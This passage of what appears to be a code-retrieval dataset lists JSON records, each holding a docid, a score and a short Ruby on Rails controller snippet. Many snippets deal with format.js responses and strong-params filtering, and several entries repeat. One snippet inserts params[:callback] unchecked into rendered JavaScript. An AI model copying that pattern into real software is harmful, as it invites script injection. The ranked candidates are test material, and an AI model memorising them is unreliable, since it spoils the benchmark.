"score": "0.58169705", "text": "def index\n respond_to do |format|\n format.html\n format.xml { render :xml => @chord_tones.to_xml }\n\t\t\tformat.js { render :text => @chord_tones.to_json }\n end\n end", "title": "" }, { "docid": "c2cfde67cba1e3d402d511e8eadc6954", "score": "0.5806601", "text": "def calc\n render :html, :json => calculation\n end", "title": "" }, { "docid": "66af01d5cfc442123242eeacd4bd5c57", "score": "0.58023685", "text": "def to_js(*args, &block)\n opal_compile(*process_params(*args, &block))\n end", "title": "" }, { "docid": "b39af1d50a4677063cb215f066e904d6", "score": "0.580127", "text": "def generate_js(waw_kernel, buffer)\n # 1) header first\n buffer << strip(HEADER, 8) << \"\\n\"\n \n # 2) messages\n generate_js_messages(waw_kernel, buffer)\n \n # 3) controllers\n generate_js_controllers(waw_kernel, buffer)\n end", "title": "" }, { "docid": "ed7488f6c3468f778bbe0f62d751ea7d", "score": "0.57923186", "text": "def create\n @test_master = TestMaster.new(params[:test_master])\n\n respond_to do |format|\n \n \t format.js { render :content_type => 'text/javascript'}\n \n end\n\n end", "title": "" }, { "docid": "751698d2eec12c6a25a0100b6472e7b6", "score": "0.5790185", "text": "def index\n #@event = MyLife.find(params[:id])\n #respond_to do |format|\n #format.js\n end", "title": "" }, { "docid": "53fadbbb25dcbe0aba02f19cfbfa6f84", "score": "0.57878655", "text": "def index\n #render js: \"alert('hello world')\"\n @clients = Client.all\n end", "title": "" }, { "docid": "9f693fc5d7c56f7ec82c30f66c931fcc", "score": "0.5773084", "text": "def create\n @rsvp = Rsvp.new(params[:rsvp])\n puts @rsvp.to_json\n respond_to do |format|\n @rsvp.save\n format.js\n end\n end", "title": "" }, { "docid": "91a846ce954a3d526c837581ee569383", "score": "0.576732", "text": "def eprs\n eprs_data\n\n respond_to do |format|\n format.js { render 'gprs' }\n format.html { redirect_to hub_path }\n end\n end", "title": "" }, { "docid": "22d76708d09db0e42a3bfc4881ac0c5f", "score": "0.5756212", "text": "def index\n @recipes = Recipe.all\n respond_to do |format|\n format.html\n format.js\n end\n end", "title": "" }, { "docid": "166d36d2e261ed2afe4d777c2aa6b843", "score": "0.5754767", "text": "def show\n @bottle = @coa_summary.direct_bottle_match\n respond_to do |format|\n format.html\n format.js\n format.json\n end\n end", "title": "" }, { "docid": "0f60a50e6d638eee9390df4dcf810608", "score": "0.5750249", "text": "def processing\n @gstr1_summary = @company.gstr1_summaries.find(params[:id])\n @gstr1_summary_processing_check = @gstr1_summary.processing?\n respond_to do |format|\n if request.format== '*/*'\n format.js\n else\n format.html\n end\n end\n end", "title": "" }, { "docid": "7cede25bd8fde0a571e699f3327a51e2", "score": "0.5746021", "text": "def contract\n\trespond_to do |format|\n format.js #contract.js.erb\n end\n end", "title": "" }, { "docid": "b929e68844c2179b09cb4000c31b2c26", "score": "0.57403475", "text": "def js_tasks\n @events = current_user.events.all\n respond_to do |format|\n format.html {render :nothing => true}\n format.js\n end\n end", "title": "" }, { "docid": "bdc54c129e866eefb590a9b0d8992b6f", "score": "0.573098", "text": "def index\n respond_to do |format|\n format.html\n format.xml { render :xml => @chord_notes.to_xml }\n\t\t\tformat.js { render :text => @chord_notes.to_json }\n end\n end", "title": "" }, { "docid": "5d461d1c7c2412d8b75a5f90da826f50", "score": "0.57306075", "text": "def filter\n set_buildings\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "6aff2f163396f0de73f7da38a0f6dfb8", "score": "0.57302284", "text": "def filter\n set_landlords\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "d6a03cbe8d120ac063e21518e4b77bec", "score": "0.57301766", "text": "def show\n respond_to do |f|\n f.js\n end\n end", "title": "" }, { "docid": "d6a03cbe8d120ac063e21518e4b77bec", "score": "0.57301766", "text": "def show\n respond_to do |f|\n f.js\n end\n end", "title": "" }, { "docid": "d6a03cbe8d120ac063e21518e4b77bec", "score": "0.57301766", "text": "def show\n respond_to do |f|\n f.js\n end\n end", "title": "" }, { "docid": "d9474f8e2642fade782fe62218244908", "score": "0.57271415", "text": "def send_email_tem\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "3f0419617c7c06c63f63e4211b69f27a", "score": "0.5726598", "text": "def new_snapshot\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "833fe8bd1ea16b2b4e36410ed75d738c", "score": "0.5726038", "text": "def to_embedded_javascript\n string = \"\"\n\n string += \"<script>\"\n\n time_offset = 40\n self.each_slice(100) do |a|\n string += \"setTimeout(function(){\"\n string += \"z(#{a.to_json});\"\n if time_offset == 40\n string += \"}, #{0});\"\n time_offset+=5\n else\n string += \"}, #{time_offset+=5});\"\n end\n end\n\n string += \"</script>\"\n string\n end", "title": "" }, { "docid": "23ebf1b852695e578f0d2c9e27e50254", "score": "0.5723128", "text": "def show\n @domain = Domain.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @domain }\n format.js {\n @result = { :name => @domain.name }.to_json()\n if params[:callback]\n @result = params[:callback] + \"(\" + @result + \")\"\n end\n render :js => @result\n }\n end\n end", "title": "" }, { "docid": "45afd5039a60088d74162f05b9a609b5", "score": "0.5716788", "text": "def submitFeedback\n respond_to do |format|\n format.js do\n tone = params[:feedback][:tone]\n comment = current_user.email + \"\\n\" + params[:feedback][:comment]\n userID = params[:userID]\n ApplicationMailer.send_feedback(tone, comment, userID).deliver\n render body: nil\n end\n end\n end", "title": "" }, { "docid": "70796b293a8e0199577e1c403454f3dd", "score": "0.57055897", "text": "def get_search_results_javascript\n if @search_results.empty?\n return \"\"\n end\n if @search_results[0].class == Fixnum\n @search_results = Word.includes(:verse).find(@search_results) \n end\n #Initialization\n js = 'document.getElementById(\"searchResultsMessage\").innerHTML = \"' + \"Found #{@search_results.size} verses.\" + '\";'\n js << 'var table = null;'\n js << 'var tbody = null;'\n js << 'var tr = null;'\n js << 'var td = null;'\n js << 'document.getElementById(\"hideShowSearchResults\").className = \"\";' \n js << 'document.getElementById(\"clearSearchResults\").className = \"\";' \n js << 'document.getElementById(\"searchResultsMessage\").className = \"\";' \n #Remove old table\n js << 'div = document.getElementById(\"searchResultsDiv\");'\n js << 'try {div.removeChild(document.getElementById(\"searchResultsTable\"))} catch (e) {};'\n #Create new table\n js << 'table = document.createElement(\"table\");'\n js << 'table.id = \"searchResultsTable\";'\n js << 'div.appendChild(table);'\n #Create tbody\n js << 'tbody = document.createElement(\"tbody\");'\n js << 'table.appendChild(tbody);'\n counter = 0\n @search_results.each do |word|\n #Build data row\n if counter % 12 == 0\n js << 'tr = document.createElement(\"tr\");'\n js << 'tbody.appendChild(tr);'\n end\n #Create td \n js << 'td = document.createElement(\"td\");'\n js << 'tr.appendChild(td);'\n js << %Q/td.innerHTML = '<a href=\"#\"' + ' onclick=\"new Ajax.Request(' + \"'\\/verse\\/show_ajax\\/#{word.verse.id.to_s}', {asynchronous:true, evalScripts:true}); return false;\" + '\"> #{word.verse.book} #{word.verse.chapter.to_s}:#{word.verse.verse.to_s}<\\/a>';/\n counter += 1\n end\n js\n end", "title": "" }, { "docid": "449d375f42df91460b1000b82143445c", "score": "0.570369", "text": "def find_titles\n respond_to do |format|\n format.json {\n search_term = params[:term]\n puts \"JSON: #{search_term}\"\n \n # looks like this\n # [{:id=>11439, :name=>\"Herzog Zwei\"}, {:id=>5048, :name=>\"Herzog\"}, {:id=>32818, :name=>\"Herz von Afrika\"}]\n @gb_titles = GiantLookup.new.find_games_by_title(search_term)\n\n render :json => @gb_titles.to_json\n }\n \n format.js {\n search_term = params[:term]\n puts \"JS #{search_term}\"\n @gb_titles = GiantLookup.new.find_games_by_title(search_term)\n #render :text => @gb_titles.to_xml\n }\n end\n \n end", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "37d574c20393d3d12b45517f82ba927d", "score": "0.0", "text": "def line_item_params\n params.require(:line_item).permit(:quantity, :listing_id).merge(:cart_id => @cart.id)\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.7495027", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.69566035", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.69225836", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.68929327", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.67848456", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "f6060519cb0c56a439976f0c978690db", "score": "0.674347", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "fad8fcf4e70bf3589fbcbd40db4df5e2", "score": "0.6682223", "text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.6636527", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.66291976", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.66258276", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f", "score": "0.65625846", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18", "score": "0.6491194", "text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6477825", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "2d2af8e22689ac0c0408bf4cb340d8c8", "score": "0.64526874", "text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.64001405", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.63810205", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.63634825", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.633783", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "b4c9587164188c64f14b71403f80ca7c", "score": "0.6336759", "text": "def sanitize_params!\n request.sanitize_params!\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.6325718", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "38bec0546a7e4cbf4c337edbee67d769", "score": "0.631947", "text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.63146484", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "5ec018b4a193bf3bf8902c9419279607", "score": "0.63137317", "text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.6306224", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.6301168", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.63000035", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "8c384af787342792f0efc7911c3b2469", "score": "0.629581", "text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926817", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926817", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "9b76b3149ac8b2743f041d1af6b768b5", "score": "0.6280713", "text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.6271388", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "f6399952b4623e5a23ce75ef1bf2af5a", "score": "0.6266194", "text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend", "title": "" }, { "docid": "37c5d0a9ebc5049d7333af81696608a0", "score": "0.6256044", "text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend", "title": "" }, { "docid": "505e334c1850c398069b6fb3948ce481", "score": "0.62550515", "text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end", "title": "" }, { "docid": "6c4620f5d8fd3fe3641e0474aa7014b2", "score": "0.62525266", "text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end", "title": "" }, { "docid": "d14bb69d2a7d0f302032a22bb9373a16", "score": "0.6234781", "text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend", "title": "" }, { "docid": "5629f00db37bf403d0c58b524d4c3c37", "score": "0.62278074", "text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "d370098b1b3289dbd04bf1c073f2645b", "score": "0.6226693", "text": "def allow_params\n params.permit(:id, :email, :password)\n end", "title": "" }, { "docid": "fde8b208c08c509fe9f617229dfa1a68", "score": "0.6226605", "text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end", "title": "" }, { "docid": "78cbf68c3936c666f1edf5f65e422b6f", "score": "0.6226114", "text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend", "title": "" }, { "docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5", "score": "0.6200643", "text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end", "title": "" }, { "docid": "d724124948bde3f2512c5542b9cdea74", "score": "0.61913997", "text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end", "title": "" }, { "docid": "d18a36785daed9387fd6d0042fafcd03", "score": "0.61835426", "text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.6179986", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.61630195", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "fc4b1364974ea591f32a99898cb0078d", "score": "0.6160931", "text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end", "title": "" }, { "docid": "13e3cfbfe510f765b5944667d772f453", "score": "0.6155551", "text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.61542404", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "b9432eac2fc04860bb585f9af0d932bc", "score": "0.61356604", "text": "def wall_params\n params.permit(:public_view, :guest)\n end", "title": "" }, { "docid": "f2342adbf71ecbb79f87f58ff29c51ba", "score": "0.61342114", "text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "8fa507ebc4288c14857ace21acf54c26", "score": "0.61188847", "text": "def strong_params\n # to dooo\n end", "title": "" }, { "docid": "9292c51af27231dfd9f6478a027d419e", "score": "0.61140966", "text": "def domain_params\n params[:domain].permit!\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "a3aee889e493e2b235619affa62f39c3", "score": "0.61107725", "text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61038506", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61038506", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6097247", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6097247", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "677293afd31e8916c0aee52a787b75d8", "score": "0.60860336", "text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end", "title": "" }, { "docid": "e50ea3adc222a8db489f0ed3d1dce35b", "score": "0.60855556", "text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end", "title": "" }, { "docid": "b7ab5b72771a4a2eaa77904bb0356a48", "score": "0.608446", "text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end", "title": "" }, { "docid": "b2841e384487f587427c4b35498c133f", "score": "0.6076753", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "3f5347ed890eed5ea86b70281803d375", "score": "0.60742563", "text": "def user_params\n params.permit!\n end", "title": "" }, { "docid": "0c8779b5d7fc10083824e36bfab170de", "score": "0.60677326", "text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.60666215", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "fa0608a79e8d27c2a070862e616c8c58", "score": "0.6065763", "text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.60655254", "text": "def need_params\n end", "title": "" }, { "docid": "4f8205e45790aaf4521cdc5f872c2752", "score": "0.6064794", "text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end", "title": "" }, { "docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06", "score": "0.6062697", "text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.60620916", "text": "def filtered_parameters; end", "title": "" }, { "docid": "d6886c65f0ba5ebad9a2fe5976b70049", "score": "0.60562736", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "96ddf2d48ead6ef7a904c961c284d036", "score": "0.60491294", "text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.60490465", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.60490465", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "75b7084f97e908d1548a1d23c68a6c4c", "score": "0.6046521", "text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end", "title": "" }, { "docid": "080d2fb67f69228501429ad29d14eb29", "score": "0.6041768", "text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff", "score": "0.60346854", "text": "def parameters\n params.permit(permitted_params)\n end", "title": "" }, { "docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8", "score": "0.6030552", "text": "def filter_params\n end", "title": "" }, { "docid": "cf73c42e01765dd1c09630007357379c", "score": "0.6024842", "text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end", "title": "" }, { "docid": "793abf19d555fb6aa75265abdbac23a3", "score": "0.6021606", "text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end", "title": "" }, { "docid": "2e70947f467cb6b1fda5cddcd6dc6304", "score": "0.6019679", "text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend", "title": "" }, { "docid": "2a11104d8397f6fb79f9a57f6d6151c7", "score": "0.6017253", "text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end", "title": "" }, { "docid": "a83bc4d11697ba3c866a5eaae3be7e05", "score": "0.60145336", "text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end", "title": "" }, { "docid": "2aa7b93e192af3519f13e9c65843a6ed", "score": "0.60074294", "text": "def user_params\n params[:user].permit!\n end", "title": "" }, { "docid": "9c8cd7c9e353c522f2b88f2cf815ef4e", "score": "0.6006753", "text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "9736586d5c470252911ec58107dff461", "score": "0.60048765", "text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end", "title": "" }, { "docid": "e7cad604922ed7fad31f22b52ecdbd13", "score": "0.60009843", "text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6000742", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6000742", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.6000161", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "2e6de53893e405d0fe83b9d18b696bd5", "score": "0.599852", "text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59984183", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59984183", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "a50ca4c82eaf086dcbcc9b485ebd4261", "score": "0.59947807", "text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end", "title": "" }, { "docid": "0f53610616212c35950b45fbcf9f5ad4", "score": "0.5993962", "text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end", "title": "" }, { "docid": "b545ec7bfd51dc43b982b451a715a538", "score": "0.5992739", "text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end", "title": "" }, { "docid": "0b704016f3538045eb52c45442e7f704", "score": "0.59911275", "text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.59906775", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "991c65f11c44b9542d376f7ab432d23f", "score": "0.0", "text": "def portal_attachment_params\n params.require(:portal_attachment).permit(:filename, :guid)\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.7495027", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.69566035", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.69225836", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.68929327", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.67848456", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "f6060519cb0c56a439976f0c978690db", "score": "0.674347", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "fad8fcf4e70bf3589fbcbd40db4df5e2", "score": "0.6682223", "text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.6636527", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.66291976", "text": "def strong_params\n 